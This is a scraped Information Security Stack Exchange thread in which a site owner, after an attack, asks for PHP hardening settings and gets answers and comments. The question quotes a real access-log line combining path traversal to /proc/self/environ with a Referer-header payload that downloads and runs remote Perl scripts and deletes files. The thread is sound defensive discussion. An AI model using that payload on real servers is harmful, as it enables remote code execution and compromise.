Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

My website have been attacked and I need a best practice for a php.ini I have done some reading but I am still not sure if I covered most of the options.

here is my settings:

file_uploads = Off
upload_tmp_dir = /var/php_tmp
upload_max_filezize = 0M
allow_url_fopen = Off
allow_url_include = Off
safe_mode = On
display_errors = Off
magic_quotes_gpc = On
magic_quotes_runtime = On

here is what I got error log from the webhost company: - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http://some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
share|improve this question
Have a look at security.stackexchange.com/q/563/485 - not quite a dupe, but in the same area. –  Rory Alsop Sep 13 '11 at 8:44
thanks very much indeed I am going to. –  Andras Sebestyen Sep 13 '11 at 8:49

2 Answers 2

up vote 3 down vote accepted

First of all, this attack will not work on the latest 5.3 branch because null byte poisoning attacks have been fixed for file-io functions. That being said none of your settings will defend against these attacks except for magic_qutoes_gpc in some edge cases because the null byte will be escaped. Although to be honest I would disable magic_qutoes_gpc, you should not rely upon it for security and more often than not it will malform user input. magic_quotes_gpc is being removed in php6.

To make sure php is configured properly you should run PHPSecInfo. You should also remove the write bit from your entire web root, and remove file_privs from your mysql account. Here is more information for locking down php.

share|improve this answer
Thank you very much indeed your precise answer. This why I asked here. My provider just could not say a word. Thanks again. (I am not wise:) enough to rank you up yet:) but I would. –  Andras Sebestyen Sep 13 '11 at 7:12
Note the referer header, that's the more interesting attack in this example, see the answer on the very similar question. –  Hendrik Brummermann Sep 13 '11 at 11:28
@Rook Thanks again, I have just spotted out your answer and I tried my code with php5.3 and suddenly I got 500 error. so something definitely wrong... any idea? thanks –  Andras Sebestyen Sep 13 '11 at 19:45

This might help someone.

expose_php = off
disable_functions = phpinfo
session.auto_start = 0
session.cookie_httponly = 1
session.cookie_secure = 1
session.name = sessId
session.hash_function = sha256
session.hash_bits_per_character = 5
share|improve this answer
welcome to the site and thanks for your answer. But could you format it a little better and maybe add some details about your suggestions? –  Mark Davidson Dec 5 '12 at 9:03
It would be more helpful if you explained what these settings are supposed to do. –  Gilles Dec 5 '12 at 11:07
expose_php =off - Will not expose php and it's version. You can even change the extensions of files to .html which would hide the app is using PHP. disable_functions = phpinfo(); - –  Praveen V Dec 6 '12 at 5:59
Contd...disable_functions = phpinfo(); - Will disable the in-built function phpinfo which displays PHP version,details of PHPconfig. session_auto_start = 0 - Which will turn off the session start auto. session.name -> Can rename the session name which appears client side (When you view it in browser's firebug panel -> net tab -> HTML tab -> Request Headers-> Cookie-> SessionName & SessID) sessionHashFunction which will hash the sessionId.5 indicates noofchar's used/sessID. –  Praveen V Dec 6 '12 at 6:07

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.